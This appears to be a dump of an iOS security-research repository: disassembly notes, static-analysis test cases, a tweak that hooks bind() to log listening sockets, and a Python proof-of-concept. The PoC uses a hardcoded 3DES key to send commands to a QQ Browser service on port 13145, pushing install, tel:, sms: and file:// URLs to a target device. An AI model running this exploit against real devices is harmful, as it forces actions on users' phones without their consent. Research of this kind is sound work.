| 133 | __text:0000000100006B54 134 | 135 | __text:0000000100006B54 var_14 = -0x14 136 | 137 | __text:0000000100006B54 var_10 = -0x10 138 | 139 | __text:0000000100006B54 var_8 = -8 140 | 141 | __text:0000000100006B54 var_s0 = 0 142 | 143 | __text:0000000100006B54 144 | 145 | __text:0000000100006B54 SUB SP, SP, #0x30 146 | 147 | __text:0000000100006B58 STP X29, X30, [SP,#0x20+var_s0] 148 | 149 | __text:0000000100006B5C ADD X29, SP, #0x20 150 | 151 | __text:0000000100006B60 STUR X0, [X29,#var_8] 152 | 153 | __text:0000000100006B64 STR X0, [SP,#0x20+var_10] 154 | 155 | __text:0000000100006B68 ADRP X0, #aHelloBlocks@PAGE ; "Hello Blocks!\n" 156 | 157 | __text:0000000100006B6C ADD X0, X0, #aHelloBlocks@PAGEOFF ; "Hello Blocks!\n" 158 | 159 | __text:0000000100006B70 BL _printf 160 | 161 | __text:0000000100006B74 STR W0, [SP,#0x20+var_14] 162 | 163 | __text:0000000100006B78 LDP X29, X30, [SP,#0x20+var_s0] 164 | 165 | __text:0000000100006B7C ADD SP, SP, #0x30 166 | 167 | __text:0000000100006B80 RET 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | struct __block_impl { 178 | 179 | void *isa; 180 | 181 | int Flags; 182 | 183 | int Reserved; 184 | 185 | void *FuncPtr; 186 | 187 | }; 188 | 189 | 190 | 191 | static struct __main_block_desc_0 { 192 | 193 | size_t reserved; 194 | 195 | size_t Block_size; 196 | 197 | 198 | } __main_block_desc_0_DATA = { 0, sizeof(struct __main_block_impl_0)}; 199 | 200 | 201 | 202 | struct __main_block_impl_0 { 203 | 204 | struct __block_impl impl; 205 | 206 | struct __main_block_desc_0* Desc; 207 | 208 | __main_block_impl_0(void *fp, struct __main_block_desc_0 *desc, int flags=0) { 209 | 210 | impl.isa = &_NSConcreteStackBlock; 211 | 212 | impl.Flags = flags; 213 | 214 | impl.FuncPtr = fp; +0x10 is the pointer to the blocks 215 | 216 | Desc = desc; 217 | 218 | } 219 | 220 | 221 | }; 222 | 223 | 224 | 225 | 226 | 227 | void (*theBlock)() = ((void (*)())&__main_block_impl_0((void *)__main_block_func_0, &__main_block_desc_0_DATA)); 228 | 229 | 230 | ((void (*)(__block_impl *))((__block_impl *)theBlock)->FuncPtr)((__block_impl *)theBlock); 231 | 232 | -------------------------------------------------------------------------------- /PoC/QQBrowserVuln.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | # -*- coding: utf-8 -*- 3 | 4 | import requests 5 | import base64 6 | from binascii import b2a_hex, a2b_hex 7 | from pyDes import * 8 | 9 | payload = "" 10 | 11 | x_uuid = "a8f349666b833151a861e8beb611f21a" 12 | key = "kM7hYp8lE69UjidhlPbD98Pm" 13 | url="http://www.qq.com" 14 | 15 | #url2="https://itunes.apple.com/cn/app/homescapes/id1195621598?l=en&mt=8" 16 | #url2="https://itunes.apple.com/cn/app/microsoft-remote-desktop/id1295203466?mt=12" 17 | url2="https://itunes.apple.com/cn/app/microsoft-%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2/id714464092?mt=8" 18 | url3="http://mtt.eve.mdt.qq.com:8080/analytics/upload?sid=bbef62326f3b74b21f4ba91efcbddd7c" 19 | #url4="itms-services://?action=download-manifest&url=https%3A%2F%2Fithunder-ota.a.88cdn.com%2FMobileThunder%2Fapple%2F5.31.1.4204%2F96d&tn=98010089_dg&ch=2" 20 | url4="itms-services://?action=download-manifest&url=https://ithunder-ota.a.88cdn.com/MobileThunder/apple/5.31.1.4204/96d&tn=98010089_dg&ch=2" 21 | #url4="sms:10086:asd:15092831234;kkkk" 22 | #url4="wtai://wp/mc;10086" 23 | url4="mailto:10086" 24 | #ip=[""]*1 25 | #ip[1]="http://192.168.30.164" 26 | #ip[0]="http://192.168.30.53" 27 | #ip[0]="http://192.168.30.177" 28 | #ip[0]="http://127.0.0.1" 29 | 30 | #url4="/Users/ret2me/Documents/task/portApp/ps1.txt" 31 | url4="tel:10086" 32 | url4="sms:10086" 33 | url4="itms-services://?action=download-manifest&url=https%3A%2F%2Fithunder-ota.a.88cdn.com%2FMobileThunder%2Fapple%2F5.21%2F5.21.1.1820_enterprise_release%2Fmainfest.plist" 34 | url4="http://www.qq.com" 35 | 36 | #url4="https://open.weixin.qq.com/connect/sdk/qrconnect?appid=id&nonces" 37 | url4="http://www.qq.com" 38 | url4="qb://video/advideodetail" 39 | url4="file:///" 40 | url4="tel:10086" 41 | url4="itms-services://?action=download-manifest&url=https%3A%2F%2Fithunder-ota.a.88cdn.com%2FMobileThunder%2Fapple%2F5.21%2F5.21.1.1820_enterprise_release%2Fmainfest.plist" 42 | 43 | url4="qb://imagereader?url=/var/mobile/Containers/Data/Application/314DC39D-A342-4742-B6EC-B0CDB15CC24F/Documents/IMG_0001.PNG" 44 | url4="qb://cmd/password" 45 | url4="file://res/CategorySearch/icon_baidu.png" 46 | url4="hls://" 47 | 48 | url4="tel:10086" 49 | #url4="sms:10086" 50 | #url4="itms-services://?action=download-manifest&url=https%3A%2F%2Fithunder-ota.a.88cdn.com%2FMobileThunder%2Fapple%2F5.21%2F5.21.1.1820_enterprise_release%2Fmainfest.plist" 51 | #url4="http://www.baidu.cn" 52 | 53 | def encode_(s): 54 | e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5) 55 | r = e_scheme.encrypt(s) 56 | return base64.b64encode(r) 57 | 58 | def decode_(s): 59 | b = base64.b64decode(s) 60 | e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5) 61 | return e_scheme.decrypt(b) 62 | 63 | def req(ip, payload): 64 | headers = { 'Content-Length':str(len(payload)), 'Content-Type':'application/x-www-form-urlencoded', 65 | 'Host':'127.0.0.1', 'Connection':'close', 'Accept-Encoding':'gzip'} 66 | #print headers 67 | try: 68 | #r = requests.post("http://192.168.70.194:13145/"+ "showbindcode?", data=payload, headers=headers) 69 | #for i in xrange(0,len(ip)): 70 | r = requests.post("http://"+ ip + ":13145/"+ encode_("bind?uuid=a8f349666b833151a861e8beb611f21a"), data=payload, headers=headers) 71 | r = requests.post("http://"+ ip + ":13145/"+ encode_("send?uuid=a8f349666b833151a861e8beb611f21a&type=installurl"), data=payload, headers=headers) 72 | #r = requests.get(ip[i]+":13145/"+encode_("check?uuid=d661d51862c23e397d14cb0eb2bf46f4")) 73 | 74 | #r = requests.post(ip[i]+":13145/"+ encode_("upload?uuid=a8f349666b833151a861e8beb611f21a"), data=payload, headers=headers) 75 | 76 | #r = requests.post("http://192.168.30.154:13145/"+ encode_("send?uuid=d661d51862c23e397d14cb0eb2bf46f4&type=url"), data=payload, headers=headers) 77 | #r = requests.post("http://192.168.30.154:13145/"+ encode_("send?uuid=d661d51862c23e397d14cb0eb2bf46f4&type=url"), data=payload, headers=headers) 78 | 79 | # r = requests.post("http://192.168.30.154:13145/"+ encode_("showbindcode?uuid=d661d51862c23e397d14cb0eb2bf46f4&name=aaa&code=1234?fkkk"), data=payload, headers=headers) 80 | 81 | 82 | 83 | 84 | #r = requests.post("http://192.168.30.154:13145/"+ encode_("upload?uuid=d661d51862c23e397d14cb0eb2bf46f4"), data=payload, headers=headers) 85 | 86 | #r = requests.post("http://192.168.30.154:13145/bind?uuid=" + x_uuid, data=payload, headers=headers) 87 | 88 | #r = requests.get("http://192.168.1.100:13145/showbindcode?uuid=" + x_uuid) 89 | 90 | 91 | #r = requests.get("http://192.168.0.102:13145/"+encode_("check?uuid=d661d51862c23e397d14cb0eb2bf46f4")) 92 | #print r.status_code 93 | #print r.content 94 | if r != '': 95 | print "[*] Response data: " + decode_(r.content) 96 | #print r.headers 97 | except: 98 | print "Error" 99 | 100 | 101 | 102 | def main(argv): 103 | 104 | print "[*] Target: " + argv[0] 105 | print "[*] Type: " + argv[1] 106 | print "[*] Post data: " + argv[2] 107 | req(argv[0], encode_(argv[2])) 108 | print "[+] Done" 109 | 110 | if __name__ == "__main__": 111 | main(sys.argv[1:]) 112 | 113 | # stage1 = encode_("{'code':'123456','uuid':" + x_uuid + "}") 114 | # stage3 = encode_("{'code':'123456','name':" + url + "}") 115 | # tmp = encode_("A"*0x100) 116 | # stage2 = encode_(stage1) 117 | #print decode_("HRMnNxAXVSQ9PSRNidZ41PgbLZcuLsMAAj7fOcnNZUDg0FfAUDgV9g==") 118 | 119 | #req(encode_(url4)) 120 | #req(encode_(sys.argv[1])) 121 | #req(encode_("tel:10086")) 122 | #req(encode_("sms:10086")) 123 | #req(encode_("itms-services://?action=download-manifest&url=https%3A%2F%2Fithunder-ota.a.88cdn.com%2FMobileThunder%2Fapple%2F5.21%2F5.21.1.1820_enterprise_release%2Fmainfest.plist")) 124 | #req(encode_("")) 125 | 126 | #req("http://www.qq.com") -------------------------------------------------------------------------------- /Dynamic analysis/MobileSubstrate Tweak/binddetours/Tweak.xm: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | // todo: ensure this api reside in socket library. 15 | static NSString *obj = @"foo"; 16 | 17 | /* 18 | //Implement printf to print logs... 19 | int printf(const char * __restrict format, ...) 20 | { 21 | //NSLog(@"in detoured printf"); 22 | va_list args; 23 | va_start(args,format); 24 | NSLog([NSString stringWithUTF8String:format], args) ; 25 | va_end(args); 26 | return 1; 27 | } 28 | */ 29 | 30 | /* 31 | int vprintf(const char * __restrict fmt, va_list vlst) 32 | { 33 | va_start(vlst, fmt); 34 | NSLog([NSString stringWithUTF8String:fmt], vlst); 35 | va_end(vlst); 36 | return 1; 37 | } 38 | */ 39 | 40 | int bind(int, const struct sockaddr *, socklen_t); 41 | int (*orig_bind)(int fd, const struct sockaddr *addr, socklen_t len); 42 | int hook_bind(int fd, const struct sockaddr *addr, socklen_t len) 43 | { 44 | 45 | @synchronized(obj) { 46 | const struct sockaddr_in *p = (const struct sockaddr_in *) addr; 47 | 48 | NSLog(@"vvvvv DetourInfo:: block start vvvvv"); 49 | //printf("vvvvv print DetourInfo:: block start vvvvv"); 50 | 51 | NSLog(@"DetourInfo:: bundleIdentifier: %@", [[NSBundle mainBundle] bundleIdentifier]); 52 | NSDictionary *infoDictionary = [[NSBundle mainBundle] infoDictionary]; 53 | NSLog(@"DetourInfo:: CFBundleDisplayName: %@", [infoDictionary objectForKey:@"CFBundleDisplayName"]); 54 | NSLog(@"DetourInfo:: CFBundleShortVersionString: %@", [infoDictionary objectForKey:@"CFBundleShortVersionString"]); 55 | NSLog(@"DetourInfo:: FBundleVersion: %@", [infoDictionary objectForKey:@"CFBundleVersion"]); 56 | 57 | if (p->sin_family == AF_INET) 58 | { 59 | NSLog(@"DetourInfo:: ipv4 info"); 60 | NSLog(@"DetourInfo:: sin_family: AF_INET 2 /* internetwork: UDP, TCP, etc. */"); 61 | 62 | if(ntohs(p->sin_port) == 0) 63 | { 64 | NSLog(@"DetourInfo:: port: 0, dynamic port. \n"); 65 | } 66 | else 67 | { 68 | NSLog(@"DetourInfo:: port: %d \n", ntohs(p->sin_port)); 69 | } 70 | 71 | char *s_ip = inet_ntoa(p->sin_addr); 72 | unsigned int i_ip = inet_addr(s_ip); 73 | unsigned char first = (unsigned char) i_ip; 74 | 75 | if (p->sin_addr.s_addr == INADDR_ANY) 76 | { 77 | NSLog(@"DetourInfo:: s_addr: INADDR_ANY"); 78 | } 79 | else if (p->sin_addr.s_addr == inet_addr("127.0.0.1")) 80 | { 81 | NSLog(@"DetourInfo:: relax, safe s_addr config, 127.0.0.1"); 82 | } 83 | else if( (first & 0x80) == 0 or (first & 0xc0) == 0x80 or (first & 0xe0) == 0xc0) 84 | { 85 | NSLog(@"DetourInfo:: A, B or C family addr. %s", s_ip); 86 | } 87 | else 88 | { 89 | NSLog(@"DetourInfo:: D or E family addr. %s", s_ip); 90 | } 91 | } 92 | else if (p->sin_family == AF_INET6) 93 | { 94 | NSLog(@"DetourInfo:: ipv6 info"); 95 | NSLog(@"DetourInfo:: sin_family: AF_INET6 30 /* IPv6 */"); 96 | const struct sockaddr_in6 *p6 = (const struct sockaddr_in6 *)addr; 97 | 98 | if (ntohs(p6->sin6_port) == 0) 99 | { 100 | NSLog(@"DetourInfo:: port: 0, dynamic port. \n"); 101 | } 102 | else 103 | { 104 | NSLog(@"DetourInfo:: port: %d \n", ntohs(p6->sin6_port)); 105 | } 106 | 107 | if (IN6_IS_ADDR_UNSPECIFIED(&(p6->sin6_addr))) 108 | { 109 | NSLog(@"DetourInfo:: sin6_addr: in6addr_any"); 110 | } 111 | else if (IN6_IS_ADDR_LOOPBACK(&(p6->sin6_addr))) 112 | { 113 | NSLog(@"DetourInfo:: relax, safe sin6_addr config: loopback"); 114 | } 115 | else 116 | { 117 | char s_ip6[INET6_ADDRSTRLEN]; 118 | inet_ntop(AF_INET6, &(p6->sin6_addr), s_ip6, sizeof(s_ip6)); // IPv6 119 | NSLog(@"DetourInfo:: check MACRO defined in netinet/in.h to verfy this addr. %s", s_ip6); 120 | NSLog(@"DetourInfo:: sin6_addr: %s", s_ip6); 121 | } 122 | } 123 | else if (p->sin_family == AF_LOCAL) 124 | { 125 | NSLog(@"DetourInfo:: relax, sin_family: AF_LOCAL"); 126 | } 127 | else 128 | { 129 | NSLog(@"DetourInfo:: add to sin_family: %d", p->sin_family); 130 | } 131 | 132 | // log will be trunk by ???, I log the call stack to file. however, it's helpless. 133 | NSString *tmpPath = NSTemporaryDirectory(); 134 | NSString *tmpFile = [tmpPath stringByAppendingPathComponent: [NSString stringWithFormat:@"%@%d.dat", [infoDictionary objectForKey:@"CFBundleDisplayName"], rand()]]; 135 | NSFileManager *fileManager = [NSFileManager defaultManager]; 136 | if (![fileManager fileExistsAtPath: tmpFile]) 137 | { 138 | NSArray *stackArray = [NSThread callStackSymbols]; 139 | [stackArray writeToFile: tmpFile atomically: YES]; 140 | } 141 | /* 142 | else 143 | { 144 | NSFileHandle *fileHandle = [NSFileHandle fileHandleForUpdatingAtPath: tmpFile]; 145 | [fileHandle seekToEndOfFile]; 146 | [fileHandle writeData: [NSThread callStackSymbols]]; 147 | [fileHandle closeFile]; 148 | } 149 | */ 150 | NSLog(@"DetourInfo:: call stack logged to file: %@", tmpFile); 151 | NSLog(@"DetourInfo:: call stack: %@", [NSThread callStackSymbols]); 152 | NSLog(@"^^^^^ DetourInfo:: block end ^^^^^"); 153 | } 154 | return orig_bind(fd, addr, len); 155 | } 156 | 157 | %ctor 158 | { 159 | NSDictionary *infoDictionary = [[NSBundle mainBundle] infoDictionary]; 160 | NSLog(@"DetourInfo:: bind detours start for %@, %@", [[NSBundle mainBundle] bundleIdentifier], [infoDictionary objectForKey:@"CFBundleDisplayName"]); 161 | MSHookFunction(bind, &hook_bind, &orig_bind); 162 | // MSHookFunction(print, &hook_print, &orig_print); 163 | } 164 | 165 | -------------------------------------------------------------------------------- /Static analysis/test case/Delegate-1/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | 3 | // main.m 4 | 5 | // demo 6 | 7 | // 8 | 9 | // Created by demo on 2018/1/23. 10 | 11 | // Copyright © 2018 demo. All rights reserved. 12 | 13 | // 14 | 15 | 16 | 17 | #import 18 | 19 | #import "AppDelegate.h" 20 | 21 | 22 | 23 | @interface ITunesFinder: NSObject 24 | 25 | @end 26 | 27 | 28 | 29 | @implementation ITunesFinder 30 | 31 | 32 | 33 | -(void) netServiceBrowser: (NSNetServiceBrowser *) b didFindService: (NSNetService *) service moreComing: (BOOL) moreComing 34 | 35 | { 36 | 37 | [service resolveWithTimeout: 10]; 38 | 39 | 40 | 41 | } 42 | 43 | 44 | 45 | -(void) netServiceBrowser: (NSNetServiceBrowser *) b didRemoveService:(NSNetService *) service moreComing: (BOOL)moreComing 46 | 47 | { 48 | 49 | [service resolveWithTimeout: 10]; 50 | 51 | } 52 | 53 | @end 54 | 55 | 56 | 57 | int main(int argc, char * argv[]) { 58 | 59 | 60 | 61 | @autoreleasepool { 62 | 63 | 64 | 65 | NSNetServiceBrowser *browser = [[NSNetServiceBrowser alloc] init]; 66 | 67 | ITunesFinder *finder = [[ITunesFinder alloc] init]; 68 | 69 | 70 | 71 | 72 | 73 | [browser setDelegate: finder]; 74 | 75 | 76 | 77 | /* 78 | 79 | There is no obviously signature indicate that the `ITunesFinder` is a delegator, except the selector `setDelegate`. In order to complete the call graph, we have to get the `X2` argument to find the class object and connect all methods in this `category` to the `setDelegate` method. However this is not a reasonable solution. 80 | 81 | 82 | 83 | __text:00000001000067B4 ADD X1, X1, #selRef_alloc@PAGEOFF 84 | 85 | __text:00000001000067B8 ADRP X30, #classRef_ITunesFinder@PAGE 86 | 87 | __text:00000001000067BC ADD X30, X30, #classRef_ITunesFinder@PAGEOFF 88 | 89 | __text:00000001000067C0 STUR X0, [X29,#var_18] 90 | 91 | __text:00000001000067C4 LDR X0, [X30] ; _OBJC_CLASS_$_ITunesFinder ; void * 92 | 93 | __text:00000001000067C8 LDR X1, [X1] ; "alloc" 94 | 95 | __text:00000001000067CC BL _objc_msgSend 96 | 97 | __text:00000001000067D0 ADRP X1, #selRef_init@PAGE 98 | 99 | __text:00000001000067D4 ADD X1, X1, #selRef_init@PAGEOFF 100 | 101 | __text:00000001000067D8 LDR X1, [X1] ; "init" 102 | 103 | __text:00000001000067DC BL _objc_msgSend 104 | 105 | __text:00000001000067E0 ADRP X1, #selRef_setDelegate_@PAGE 106 | 107 | __text:00000001000067E4 ADD X1, X1, #selRef_setDelegate_@PAGEOFF 108 | 109 | __text:00000001000067E8 STUR X0, [X29,#var_20] 110 | 111 | __text:00000001000067EC LDUR X0, [X29,#var_18] 112 | 113 | __text:00000001000067F0 LDUR X30, [X29,#var_20] 114 | 115 | __text:00000001000067F4 LDR X1, [X1] ; "setDelegate:" 116 | 117 | __text:00000001000067F8 MOV X2, X30 118 | 119 | __text:00000001000067FC BL _objc_msgSend 120 | 121 | 122 | 123 | 124 | 125 | classRef_ITunesFinder tracing: 126 | 127 | 128 | 129 | __objc_data:0000000100009020 _OBJC_CLASS_$_ITunesFinder __objc2_class <_OBJC_METACLASS_$_ITunesFinder, _OBJC_CLASS_$_NSObject,\ 130 | 131 | __objc_data:0000000100009020 ; DATA XREF: _main+64↑o 132 | 133 | __objc_data:0000000100009020 ; __objc_classlist:00000001000080A8↑o ... 134 | 135 | 136 | __objc_data:0000000100009020 __objc_empty_cache, 0, ITunesFinder_$classData> 137 | 138 | 139 | 140 | 141 | 142 | __objc_const:0000000100008E90 ITunesFinder_$classData __objc2_class_ro <0x80, 8, 8, 0, 0, aItunesfinder, \ 143 | 144 | __objc_const:0000000100008E90 ; DATA XREF: __objc_data:_OBJC_CLASS_$_ITunesFinder↓o 145 | 146 | __objc_const:0000000100008E90 _OBJC_INSTANCE_METHODS_ITunesFinder, \ ; "ITunesFinder" 147 | 148 | __objc_const:0000000100008E90 ITunesFinder_$prots, 0, 0, ITunesFinder_$properties> 149 | 150 | 151 | 152 | 153 | 154 | __objc_const:0000000100008E10 _OBJC_INSTANCE_METHODS_ITunesFinder __objc2_meth_list <0x18, 2> 155 | 156 | __objc_const:0000000100008E10 ; DATA XREF: __objc_const:ITunesFinder_$classData↓o 157 | 158 | __objc_const:0000000100008E18 __objc2_meth 163 | 164 | __objc_const:0000000100008E30 __objc2_meth 169 | 170 | 171 | 172 | 173 | */ 174 | 175 | [browser searchForServicesOfType: @"_daap._tcp" inDomain: @"local."]; 176 | 177 | 178 | 179 | [[NSRunLoop currentRunLoop] run]; 180 | 181 | 182 | 183 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 184 | 185 | } 186 | 187 | } 188 | -------------------------------------------------------------------------------- /Static analysis/test case/Super invocation/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | 3 | // main.m 4 | 5 | // demo 6 | 7 | // 8 | 9 | // Created by demo on 2018/1/23. 10 | 11 | // Copyright © 2018 demo. All rights reserved. 12 | 13 | // case comes from Learn.Objective-C.on.the.Mac.2nd.Edition, Section 4 14 | 15 | 16 | 17 | // 18 | 19 | // main.m 20 | 21 | // demo 22 | 23 | // 24 | 25 | // Created by demo on 2018/1/23. 26 | 27 | // Copyright © 2018 demo. All rights reserved. 28 | 29 | // 30 | 31 | 32 | 33 | #import 34 | 35 | #import "AppDelegate.h" 36 | 37 | 38 | 39 | typedef enum{ 40 | 41 | kCircle, 42 | 43 | kRectangle, 44 | 45 | kEgg 46 | 47 | } ShapeType; 48 | 49 | 50 | 51 | typedef enum{ 52 | 53 | kRedColor, 54 | 55 | kGreenColor, 56 | 57 | kBlueColor 58 | 59 | } ShapeColor; 60 | 61 | 62 | 63 | typedef struct { 64 | 65 | int x, y, width, height; 66 | 67 | }ShapeRect; 68 | 69 | 70 | 71 | @interface Shape: NSObject{ 72 | 73 | ShapeColor fillColor; 74 | 75 | ShapeRect bounds; 76 | 77 | } 78 | 79 | -(void) setFillColor: (ShapeColor) fillColor; 80 | 81 | -(void) setBounds: (ShapeRect) bounds; 82 | 83 | -(void) draw; 84 | 85 | @end 86 | 87 | 88 | 89 | @implementation Shape 90 | 91 | 92 | 93 | -(void) setFillColor:(ShapeColor)c 94 | 95 | { 96 | 97 | fillColor = c; 98 | 99 | } 100 | 101 | 102 | 103 | -(void) setBounds: (ShapeRect)b 104 | 105 | { 106 | 107 | bounds = b; 108 | 109 | } 110 | 111 | 112 | 113 | -(void)draw 114 | 115 | { 116 | 117 | 118 | 119 | } 120 | 121 | 122 | 123 | @end 124 | 125 | 126 | 127 | 128 | 129 | @interface Circle : Shape 130 | 131 | @end 132 | 133 | 134 | 135 | 136 | 137 | @implementation Circle 138 | 139 | 140 | 141 | - (void)setFillColor:(ShapeColor)c 142 | 143 | { 144 | 145 | ShapeColor mc = c; 146 | 147 | if ( c == kRedColor) 148 | 149 | { 150 | 151 | mc = kGreenColor; 152 | 153 | } 154 | 155 | 156 | 157 | [super setFillColor: mc]; 158 | 159 | } 160 | 161 | 162 | 163 | -(void)draw 164 | 165 | { 166 | 167 | NSLog(@"Circle"); 168 | 169 | } 170 | 171 | 172 | 173 | @end 174 | 175 | 176 | 177 | @interface Rectangle : Shape 178 | 179 | @end 180 | 181 | 182 | 183 | 184 | 185 | @implementation Rectangle 186 | 187 | 188 | 189 | -(void)draw 190 | 191 | { 192 | 193 | NSLog(@"Rectangle"); 194 | 195 | } 196 | 197 | 198 | 199 | @end 200 | 201 | 202 | 203 | 204 | 205 | void drawShapes(__strong id shapes[], int count) 206 | 207 | { 208 | 209 | for ( int i = 0; i < count; i ++) 210 | 211 | { 212 | 213 | id shape = shapes[i]; 214 | 215 | [shape draw]; 216 | 217 | } 218 | 219 | } 220 | 221 | 222 | 223 | int main(int argc, char * argv[]) { 224 | 225 | @autoreleasepool { 226 | 227 | 228 | 229 | id shapes[3]; 230 | 231 | 232 | 233 | ShapeRect rect0 = {0, 0, 10, 30}; 234 | 235 | shapes[0] = [Circle new]; 236 | 237 | [(Circle *)shapes[0] setBounds: rect0]; 238 | 239 | [(Circle *)shapes[0] setFillColor: kRedColor]; 240 | 241 | 242 | 243 | ShapeRect rect1 = {0, 0, 10, 30}; 244 | 245 | shapes[1] = [Rectangle new]; 246 | 247 | [(Rectangle *)shapes[1] setBounds: rect1]; 248 | 249 | [(Rectangle *)shapes[1] setFillColor: kRedColor]; 250 | 251 | 252 | 253 | drawShapes (shapes, 2); 254 | 255 | 256 | 257 | return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); 258 | 259 | } 260 | 261 | } 262 | 263 | 264 | 265 | IDA output for: 266 | 267 | 268 | 269 | - (void)setFillColor:(ShapeColor)c 270 | 271 | { 272 | 273 | ShapeColor mc = c; 274 | 275 | if ( c == kRedColor) 276 | 277 | { 278 | 279 | mc = kGreenColor; 280 | 281 | } 282 | 283 | 284 | 285 | [super setFillColor: mc]; 286 | 287 | } 288 | 289 | 290 | 291 | __text:0000000100006754 ; void __cdecl -[Circle setFillColor:](Circle *self, SEL, int) 292 | 293 | __text:0000000100006754 __Circle_setFillColor__ ; DATA XREF: __objc_const:0000000100008E50↓o 294 | 295 | __text:0000000100006754 296 | 297 | __text:0000000100006754 var_28 = -0x28 298 | 299 | __text:0000000100006754 var_20 = -0x20 300 | 301 | __text:0000000100006754 var_18 = -0x18 302 | 303 | __text:0000000100006754 var_14 = -0x14 304 | 305 | __text:0000000100006754 var_10 = -0x10 306 | 307 | __text:0000000100006754 var_8 = -8 308 | 309 | __text:0000000100006754 var_s0 = 0 310 | 311 | __text:0000000100006754 312 | 313 | __text:0000000100006754 SUB SP, SP, #0x40 314 | 315 | __text:0000000100006758 STP X29, X30, [SP,#0x30+var_s0] 316 | 317 | __text:000000010000675C ADD X29, SP, #0x30 318 | 319 | __text:0000000100006760 STUR X0, [X29,#var_8] 320 | 321 | __text:0000000100006764 STUR X1, [X29,#var_10] 322 | 323 | __text:0000000100006768 STUR W2, [X29,#var_14] 324 | 325 | __text:000000010000676C LDUR W2, [X29,#var_14] 326 | 327 | __text:0000000100006770 STR W2, [SP,#0x30+var_18] 328 | 329 | __text:0000000100006774 LDUR W2, [X29,#var_14] 330 | 331 | __text:0000000100006778 CBNZ W2, loc_100006784 332 | 333 | __text:000000010000677C MOV W8, #1 334 | 335 | __text:0000000100006780 STR W8, [SP,#0x30+var_18] 336 | 337 | __text:0000000100006784 338 | 339 | __text:0000000100006784 loc_100006784 ; CODE XREF: -[Circle setFillColor:]+24↑j 340 | 341 | __text:0000000100006784 ADD X0, SP, #0x30+var_28 342 | 343 | __text:0000000100006788 ADRP X8, #selRef_setFillColor_@PAGE 344 | 345 | __text:000000010000678C ADD X8, X8, #selRef_setFillColor_@PAGEOFF 346 | 347 | __text:0000000100006790 ADRP X9, #classRef_Circle_0@PAGE 348 | 349 | __text:0000000100006794 ADD X9, X9, #classRef_Circle_0@PAGEOFF 350 | 351 | __text:0000000100006798 LDUR X10, [X29,#var_8] 352 | 353 | __text:000000010000679C LDR W2, [SP,#0x30+var_18] 354 | 355 | __text:00000001000067A0 STR X10, [SP,#0x30+var_28] 356 | 357 | __text:00000001000067A4 LDR X9, [X9] ; _OBJC_CLASS_$_Circle 358 | 359 | __text:00000001000067A8 STR X9, [SP,#0x30+var_20] 360 | 361 | __text:00000001000067AC LDR X1, [X8] ; "setFillColor:" 362 | 363 | __text:00000001000067B0 BL _objc_msgSendSuper2 364 | 365 | 366 | 367 | ; for _objc_msgSendSuper2, `X0` point to `self`, and we can find the implementation of the method from this information. In practice, we do not care the real value of `X0`, but search the inheritance of this class to get the real implementation of this method. 368 | 369 | 370 | 371 | __text:00000001000067B4 LDP X29, X30, [SP,#0x30+var_s0] 372 | 373 | __text:00000001000067B8 ADD SP, SP, #0x40 374 | 375 | 376 | __text:00000001000067BC RET 377 | 378 | 379 | 380 | -------------------------------------------------------------------------------- /Static analysis/test case/Category/AppDelegate.m: -------------------------------------------------------------------------------- 1 | // 2 | 3 | // main.m 4 | 5 | // demo 6 | 7 | // 8 | 9 | // Created by demo on 2018/1/23. 10 | 11 | // Copyright © 2018 demo. All rights reserved. 12 | 13 | // write in a file for copy / paste use. 14 | 15 | 16 | 17 | #import 18 | 19 | #import "AppDelegate.h" 20 | 21 | 22 | 23 | @interface NSString (NumberConvenience) 24 | 25 | 26 | 27 | 28 | 29 | - (NSNumber *) lengthAsNumber; 30 | 31 | 32 | 33 | @end 34 | 35 | 36 | 37 | @implementation NSString (NumberConvenience) 38 | 39 | 40 | 41 | -(NSNumber *) lengthAsNumber 42 | 43 | { 44 | 45 | NSUInteger length = [self length]; 46 | 47 | return ([NSNumber numberWithUnsignedInt:length]); 48 | 49 | } 50 | 51 | 52 | 53 | @end 54 | 55 | 56 | 57 | 58 | 59 | int main(int argc, char * argv[]) { 60 | 61 | 62 | 63 | @autoreleasepool { 64 | 65 | 66 | 67 | 68 | 69 | NSLog(@"%@", [@"xx" lengthAsNumber]); 70 | 71 | 72 | 73 | /* 74 | 75 | __text:00000001000069C0 ADRP X1, #cfstr_Xx@PAGE ; "xx" 76 | 77 | __text:00000001000069C4 ADD X1, X1, #cfstr_Xx@PAGEOFF ; "xx" 78 | 79 | __text:00000001000069C8 ADRP X30, #selRef_lengthAsNumber@PAGE 80 | 81 | __text:00000001000069CC ADD X30, X30, #selRef_lengthAsNumber@PAGEOFF 82 | 83 | __text:00000001000069D0 LDR X30, [X30] ; "lengthAsNumber" 84 | 85 | __text:00000001000069D4 STUR X0, [X29,#var_20] 86 | 87 | __text:00000001000069D8 MOV X0, X1 ; void * 88 | 89 | __text:00000001000069DC MOV X1, X30 ; char * 90 | 91 | __text:00000001000069E0 BL _objc_msgSend 92 | 93 | 94 | 95 | 96 | 97 | send message to the `literal` instance directly. and this can work well. this is not important after all. 98 | 99 | 100 | 101 | */ 102 | 103 | NSString *s = [[NSString alloc] initWithString:@"blabla"]; 104 | 105 | 106 | 107 | 108 | 109 | /* 110 | 111 | 112 | 113 | __text:0000000100006A10 ADRP X0, #selRef_alloc@PAGE 114 | 115 | __text:0000000100006A14 ADD X0, X0, #selRef_alloc@PAGEOFF 116 | 117 | __text:0000000100006A18 ADRP X1, #classRef_NSString@PAGE 118 | 119 | __text:0000000100006A1C ADD X1, X1, #classRef_NSString@PAGEOFF 120 | 121 | 122 | 123 | ; for this `selector` implemented through category, we locate the real implementation thru: 124 | 125 | ; 1. go to _OBJC_CLASS_$_NSString. 126 | 127 | ; 2. find the `reference to` from a `_category_t` structure. 128 | 129 | ; 3. the `_method_list_t` in this structure point to the method list. 130 | 131 | ; 4. visit the method list to find the `selector` and the `implementation`. 132 